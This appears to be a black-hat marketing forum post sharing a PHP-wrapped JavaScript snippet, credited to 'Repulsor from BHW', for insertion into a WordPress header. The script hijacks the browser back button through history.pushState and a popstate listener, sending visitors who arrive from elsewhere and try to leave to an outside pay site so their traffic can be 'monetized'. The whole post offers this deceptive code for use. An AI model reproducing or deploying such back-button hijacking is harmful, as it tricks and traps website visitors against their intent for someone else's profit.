I share with you a small yet very powerful javascript that will redirect where you want all your visitors who hit the back button to leave your site only, so this way you can redirect users leaving your site and monetize this traffic which is a lost. Awesome!
Script must be inserted in your header.php, tested in WordPress by me, it should work on any type of CMS as per author description. Also script tested in Chrome and Firefox. 100% Working!
I did not made the script, the author is "Repulsor from BHW". Thank him not me. See you rich!
Script must be inserted in your header.php, tested in WordPress by me, it should work on any type of CMS as per author description. Also script tested in Chrome and Firefox. 100% Working!
Code:
<?php
$javascript = <<<DOC
<script>
var ref = document.referrer;
var siteurl = "YOUR URL HERE";//if you have www, then use www. http://www.yoursite.com
if (ref.indexOf(siteurl)!= -1){
}
else{
(function(window, location) {
history.replaceState(null, document.title, location.pathname+"#!/auth");
history.pushState(null, document.title, location.pathname);
window.addEventListener("popstate", function() {
if(location.hash === "#!/auth") {
history.replaceState(null, document.title, location.pathname);
setTimeout(function(){
location.replace("http://www.ypayz.com/");
},0);
}
}, false);
}(window, location));
}
</script>
DOC;
echo $javascript;
?>
I did not made the script, the author is "Repulsor from BHW". Thank him not me. See you rich!